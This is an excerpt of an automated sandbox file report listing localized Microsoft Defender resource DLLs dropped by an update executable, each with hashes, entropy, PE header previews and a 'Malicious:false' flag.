                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!................................................................+.....@.......................................... ..l................ ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I.........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\MpEvMsg.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):53496
                                                            Entropy (8bit):4.606804840809272
                                                            Encrypted:false
                                                            SSDEEP:768:7rdMyciFk6/zRyodW7/obSxnjEBIR1PbzT:lMyciFk6/zRy+bSxjwIHPPT
                                                            MD5:C40C173214A061E8BCDF28F6328CAD40
                                                            SHA1:A525D0203A18D9011712A7F6AD89FD84D90B5747
                                                            SHA-256:17B281694628800A6B1541826B912F8FF0788D171A900F6DF4BA8A6AC01B3A46
                                                            SHA-512:B72D26D86B1D28308686A1DD0AE513594D9875AD809C891B9B063220748470154846339D25C89B4EC904F838AD47B0438EB22925CD7C2E70C3686961476760AC
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!......................................................................@.......................................... ................... ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4]..........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):28408
                                                            Entropy (8bit):5.215365684019082
                                                            Encrypted:false
                                                            SSDEEP:768:7rIXE4QWX0YNoE8gZ04pC5DbUV4qFR1Peizz:Q04QWX0YNojgZ04pC5DbUV4qFHPeYz
                                                            MD5:FFE6628B2AD343CDA7FDFEF38B84B48C
                                                            SHA1:36A72C17996D63635B184CDEC836022A2FD275C7
                                                            SHA-256:B5E81F2E96B81367B16D77BDB21FF45C92B880DF501AD17FEE4F8B1E756C636D
                                                            SHA-512:B20694CA2B5E009BCD981C8FD3E95CF25E16E9293001CCCB53DEC2ABDE6A31535F9213492279BB9527DF0A86B0489DAB7014F3F2A67A3D6D26F26DD1B942B481
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........L...............................................p.......7....@.......................................... ..DH...........N... ...........................................................................................rdata..p...........................@..@.rsrc...DH... ...J..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...C...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cy-GB\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):30456
                                                            Entropy (8bit):4.937872667222882
                                                            Encrypted:false
                                                            SSDEEP:384:7r9i3aB5tg/hPb1Y2YQYTZYxgaM3cNqng73m3cX3u3cjgTyTKT3TsjxTPTBTnTb2:7rhXP9KV7XcdLks3yRR1Pgz3
                                                            MD5:CF1FB8FA2725C2DC530AE045F1ED8A6B
                                                            SHA1:B64794C057E7F9F1F4A5DB0A9164FE21EFB32151
                                                            SHA-256:EEB5D85389F768042AFEB2B1203BCC151069F53DAFED28DB404122013041241F
                                                            SHA-512:259CC37B8488D7B9244450864F4AD2ABDC9A7C8355833F5A1628D5DC4A3123A2FCDBDCC2B8169DA2613527D8885C081915651B41228DEDAC6E5E70D1CC4F9C4D
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........T......................................................fT....@.......................................... ..TQ...........V... ...........................................................................................rdata..p...........................@..@.rsrc...TQ... ...R..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...L...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\MpAsDesc.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):63720
                                                            Entropy (8bit):4.2102783984881755
                                                            Encrypted:false
                                                            SSDEEP:768:7rRXQqbVuA8rmOXbO5OKi9OUsUR1P11zf:JXQqBuA8b6UHPPf
                                                            MD5:BB1447340673FA9F6B96A9987290F278
                                                            SHA1:C43D250E3BEF83C88A2BB5EA7FA68F54895C2FA5
                                                            SHA-256:A166D52AA0AB379DE33CF5796A5B1861246A36BB8B17D8C87E0F0529338C0AC3
                                                            SHA-512:F0D83F03C31E45C079E1ADE32A4801A6C5B8F71D23421E6D08C655E1216F4A6A3E58F8930C1F3D72CAB8FF25536017D2F1D458FCB97FB848E83830B331A3C3C4
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!.................................................................K....@.......................................... ..T................ ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I.........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\MpEvMsg.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):54520
                                                            Entropy (8bit):4.3994496582380975
                                                            Encrypted:false
                                                            SSDEEP:384:7rpjcx80WKqt9o5uDwepIRXVCQECoz0NKERDH9rLdGtKWfwLW6RDBRJiOhl95UN:7rWxnkErR1PZzUN
                                                            MD5:849192FB21F761073C9ED4A3F5BD4688
                                                            SHA1:A9AAA641C02833616CC0165FA47499DFC1269D7A
                                                            SHA-256:1EAC8A8C05B8AAFB4505A7828D7E7F98567BD0C71DEE4E08AF467F31D34A9828
                                                            SHA-512:F5216D11DC25B246567A1F31B1613533EB57A28FC88AAF7D1064426D6E9488C597F5F3BC7DCA29D3FEC4D239EB86675476488EAE4309F239649740F9D739297E
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!................................................................V.....@.......................................... .................. ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4]..........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):28904
                                                            Entropy (8bit):5.034399544515469
                                                            Encrypted:false
                                                            SSDEEP:384:7rV9LJoeS3TVu8td5dCWS8/WtRDBRJjfVslGsJ/Qw:7r7LEVHJIR1PjzLw
                                                            MD5:C63C9C4C55D3B4172BADC2FB45014D5D
                                                            SHA1:DC46D629995E862BA72C80ADC45F62DAD3590728
                                                            SHA-256:88346BDE6D5FC1C0CADFA5755944F466F8960C9CC17A5339851A2BAD42376C70
                                                            SHA-512:F838B0338C194BA2E820B10EC4E2397511AE61A14C6684AF99996DCABED5D225F9672BC4053DF9AAB6F2D586806908DC07BA43C2ADC191081C5F3E5D58E1485D
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........N...............................................p............@.......................................... ..XJ...........P... ...........................................................................................rdata..p...........................@..@.rsrc...XJ... ...L..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...E...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\MpAsDesc.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):70392
                                                            Entropy (8bit):4.18694461018496
                                                            Encrypted:false
                                                            SSDEEP:1536:g9J3VugBgOPS611GRF9QRquPJAQ7GyHPvt:g9J3VugBgOPS611s/QRquRAQ7Ggd
                                                            MD5:FF00B121B166AB8E4857EABE4AAB9BCC
                                                            SHA1:8CA305D4979F693BCC8425A972438A9074B92C5D
                                                            SHA-256:9285FDDC5E40919E750A95C255588332876547495F6E245BAD983D612DAA4704
                                                            SHA-512:2CC52CBB0EDCAD8BBAFD934E3B259048250F0DF4687FE8FC3F9B3764071F5E1E708FA870EB91D8868687F8A91677C9EBA287AAC195478C613042C97B33495286
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!......................................................................@.......................................... ..@................ ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I.........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\MpEvMsg.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):54504
                                                            Entropy (8bit):4.451774666927673
                                                            Encrypted:false
                                                            SSDEEP:768:7rBOW84CvPTO3VUtmUz8J0GXv3Y1VKLhR1P+pa:v84kt9qAohHP+pa
                                                            MD5:7AF483C2AFFDD95213DDDC495D001DC0
                                                            SHA1:C65458CBD4209A7B09129D5FDD171C758D6A7991
                                                            SHA-256:155EC9FBBE052BCCF189B89EF0F802DA48547D107A26A9E342BF9A23B4F1ADFF
                                                            SHA-512:6DF51B3E38AFB35BCAA066F3DDD56497B9E104D768C5AB1348A82BB7F1B70ED332CACCF302699AA97CC3095252B915F209BAD52F2495A31210CF90DF1940205F
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!................................................................S.....@.......................................... ..@................ ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4]..........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\ProtectionManagement.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):53480
                                                            Entropy (8bit):5.4939020981100315
                                                            Encrypted:false
                                                            SSDEEP:1536:OEH8Kt3U5Pfr9Y5BKqpdmXD6pyFJz1Z9YRHPdE:OKRmpYCmmXXZ9YdS
                                                            MD5:381A9FC19B05718037AA3A552715C54F
                                                            SHA1:01DC93DA9A279EBAC49E7564035849AE3EF4B151
                                                            SHA-256:EA4DDE3088A05BA4A894FB81A8ABF0769DB0A8F79F9D1E5E96BEB916610710C4
                                                            SHA-512:423EDF0088AAF42334F097F7687D964E27293AB508AABDD5A3FF7A2F89E9AB4145FE7BE9FC9E0A00C450F8DBABA2F841252EA9A8A0F7845090E84AA17E5BD34A
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!......................................................................@.......................................... ................... ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@............l...........T...8...8.......l...........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....%..H....rsrc$02.... ...=..E.......'G.:3..t.E....R<l...........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):31480
                                                            Entropy (8bit):4.903514449361369
                                                            Encrypted:false
                                                            SSDEEP:768:7rf5229Ah0vyaffaXQQOvR8PMFXNJSMbsHrWzxWaNnmeduHJJ17CpR1PPGLh:n5229Ah0vyaffaXQQOvR8PMFXNJSMbsT
                                                            MD5:16C6FFA34E0C59EE77F916EBF9148AFC
                                                            SHA1:C82E4308AC0A909BF4387B86B62320DA9E1FEF51
                                                            SHA-256:6EE8E608A103E991460B51D87AEFCA126EC8744642559B536F70330A848CFB08
                                                            SHA-512:782A0BEE60D339B86A176201C84A8AE117458C1688AF3D0089696ED8124E2006676A91C15E117904FE1FBBF6E4F72D248E75086E9E24436E16CFE458E8521A8E
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........X...........................................................@.......................................... ..@U...........Z... ...........................................................................................rdata..p...........................@..@.rsrc...@U... ...V..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..xP...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\MpAsDesc.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):75000
                                                            Entropy (8bit):4.68621286355812
                                                            Encrypted:false
                                                            SSDEEP:1536:c3yX1MSgKNnNL+/euj7eCMEE+gL8hKfGujCCaCa52HPJ:c3yX1MSgKNnNL+/euj7eCMEE+gL8hKfH
                                                            MD5:53B61803FB8BDC469ED5D04FB8983233
                                                            SHA1:FB801EDEB5CCBE9E75C2CBA7A28FF05BFEEA270F
                                                            SHA-256:BE1609A94963D07A591C7D38947B28AE79A9D070385E70BD594A1DBD6DF7EB31
                                                            SHA-512:678F7D40E6F54A481353FF0C7AA1C21FAEC66C8B05546CF9AC4B2372EED51918A53A0D4509C12A7DC6B8B2175A86C19C84C5274735560AA2B62B97347A5E2790
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!......................................................... ............@.......................................... ................... ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I.........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\MpEvMsg.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):60152
                                                            Entropy (8bit):4.994721555651978
                                                            Encrypted:false
                                                            SSDEEP:768:7rpd0tgeGeGsnEstzuFtGFil0a9+R1PEcz3:OgTsnPtzuFtGFil0i+HPF
                                                            MD5:9B6F194F0D0EB1ED21B000E07B0CBDCD
                                                            SHA1:FB2E6FF6B553B1E25C142FBD5CF868B98A0E8C2F
                                                            SHA-256:E1A7E2391FFF39162293DD3AE201ADC393D8CC91E83A4B33C2C9A089EE69D203
                                                            SHA-512:F64454892E8E12A33A887CE930A6DFD708CDDD1F76CFEFD909D5AA6ECF0098DB49AC263F4DD2C601A7A12FEC6221F806C4035A5EC8C928CC785550D644720EB0
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!................................................................(.....@.......................................... ................... ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4]..........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):30952
                                                            Entropy (8bit):5.453443722839373
                                                            Encrypted:false
                                                            SSDEEP:384:7rqYFfMlN2vyRBNd/gy0b5DYpOLjNB4Okn8OM3mnUJOeTPn5yLOe0FZQiJZhFD7a:7rP6EBZa2z6R1PV/rF
                                                            MD5:222D67D112493530069E47CD64364BAF
                                                            SHA1:F4F6F74D62470C5301BDC537ADC451FEAFBCCEBD
                                                            SHA-256:B6E4B5BF805802069890DF5FD769D48F370620E607809E48E233C78EFE6F90F1
                                                            SHA-512:4A8EEA2ADEDFC1E7267E13F369F50E17AE2A578E28CC15C248F54444925D0196F509F8FF16E8011DC30EB28A8A3E9620F0716E27B50D6933B1283433BF2A88F3
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........V.......................................................^....@.......................................... ...S...........X... ...........................................................................................rdata..p...........................@..@.rsrc....S... ...T..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..@N...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-GB\MpAsDesc.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):58600
                                                            Entropy (8bit):4.25269307683972
                                                            Encrypted:false
                                                            SSDEEP:768:7rSJb3XsmqEiqcTr247sEBhEChEehELQRQ4hEYDGR1PYq:qJb3XDqZqc/7skv7rfGHPYq
                                                            MD5:8DE66C308CA2A9340CC9E84F753FAA56
                                                            SHA1:8D70F8339E74BD7730E0E876D3B23412CCB1DA63
                                                            SHA-256:AE6A41CA40A926287BCC94503AC9AD42568D6BB62B4CF2DF60F0599FA9E988FF
                                                            SHA-512:E0E6D0919E21049618E23F7850F83015A9EBB2A802EED22A9ED547421552F3BD2AD3B76BBC66966BA935EF5A152B235EB4A4D5C60379CCA4A2223D5514674ED6
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!.....................................................................@.......................................... .................. ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I.........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-GB\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):27880
                                                            Entropy (8bit):5.0955466583627835
                                                            Encrypted:false
                                                            SSDEEP:384:7rTHD0EhR32NSWS8/W5RDBRJqH24rlGsQhJ+:7rbYhtMR1P26LQ
                                                            MD5:DD65190763621E8E1B642A4305D5E801
                                                            SHA1:D9BCFD1CBDC637B9F1211BADEF89F55B8C19D1E3
                                                            SHA-256:8CBEC55311F2B7234D1FBD9C46AB6CF33A165610960132FE73C19FF725579658
                                                            SHA-512:C51D7DC6B9410AFE72BD2C65989469FFF3ED6B41C5D5C9ED1320EEAD78742B840CED18C2B479DB06959B9DF69F28C116B047AE8D4A5ABBF3AB9546713E878C7D
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........J...............................................p......R.....@.......................................... ...F...........L... ...........................................................................................rdata..p...........................@..@.rsrc....F... ...H..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..HA...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\MpAsDesc.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):59128
                                                            Entropy (8bit):4.293356301291751
                                                            Encrypted:false
                                                            SSDEEP:768:7rxiJbyt33aEhrdTTm147vXahEzhEthEGQRQwhE3DbR1PR:5iJbytHa6rdd7vM+4ImbHPR
                                                            MD5:BC78A3B5260E268C292724EA573194F9
                                                            SHA1:02D4A4E683609B5B61834520D27B138EF3F9F7C4
                                                            SHA-256:2C4B8F48370B6ADEA49A21F2D89F2400E54C3EE937120152B50A94FFE5F5F7A9
                                                            SHA-512:985B104584656A099A5C20C85C77488D2575CA518353DF585B99E37B0596A46BFF5C32DF197A823569BF6909755406C48B9D41861A1C4A947BF1FE616519AF90
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!......................................................................@.......................................... ................... ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I.........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\MpEvMsg.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):51944
                                                            Entropy (8bit):4.448866330393985
                                                            Encrypted:false
                                                            SSDEEP:384:7rsorOioFEr4H1n3/Dtkby/g1mwhqfB9hyINcNkHoal34Y0wNl8yWucBW+RDBRJD:7rcBH1/b4Y0wNl8Cc5R1PeX8
                                                            MD5:0D87F3932078B4049523B8CDD3EE5692
                                                            SHA1:EA172545FB8E872BE0FC9AF0B58C3FA8CAF6F970
                                                            SHA-256:46022C8F7CC601BF73D231C213612BFAED0E95A76BC510DA08B7323EC1CCB2EE
                                                            SHA-512:51CFF3304353B5992D63C2F0C1CA71ACD74E3A4E8EF009B525BD6720BA4BCEA83A212516E41E086AFDB74E7A36DE0E4674517CAD84D8EB2E7545E34773D35554
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!................................................................}(....@.......................................... ..$................ ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4]..........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\ProtectionManagement.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):52456
                                                            Entropy (8bit):4.449895321849691
                                                            Encrypted:false
                                                            SSDEEP:768:7rypn9K/Gd67WzUi+YXCujpbemXuQx/Vhjhxp1ZR1P4M8/GQT:ap9KOPZXC+XLjZHPQ/x
                                                            MD5:57DD5DCD626332FA892BF1526D09C1D9
                                                            SHA1:B0D2C0D3CC46C7E7F560D11117C5DD7C2817AF5C
                                                            SHA-256:385171BD15127FB8546EF4378CBEA2BF25F5063E6E731DFEB4EF868829FB25B9
                                                            SHA-512:4F59C6E5DE864D07A675ECA116AB308C25CFA67EBB8345376FC98ECEFDA49CBF0BFD96A7371E398EC661E7F546C84C49D6E98556F767B32432E03BFFED04C278
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!......................................................................@.......................................... ................... ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@............l...........T...8...8.......l...........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....%..H....rsrc$02.... ...=..E.......'G.:3..t.E....R<l...........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):27384
                                                            Entropy (8bit):5.027883032614938
                                                            Encrypted:false
                                                            SSDEEP:384:7rHwnD0qkg1Wl+R0UdhR3ZVdZFzd4SWS8/WNRDBRJbQl5c:7rQnYqkg1Wl+R0U7VXFzdOIR1PbT
                                                            MD5:FEA5726C8962F98A3601E47EADB5A3E9
                                                            SHA1:FDDCB373EEC6E22B7706A588CDDA4F0822237538
                                                            SHA-256:FC18C509866893EB03BC82F49C0EF07C344640CF8D6FA3963247ABB7521A4A56
                                                            SHA-512:CB63D5656B1822668285B6C1B1594BBE1B364EF45AC4C5618D7C436C93BD38623B06140383DE58A610EA7FEB92BB741AC7477AAB104A0CCBF671125D2D83CA5C
                                                            Malicious:false
                                                            Reputation:unknown
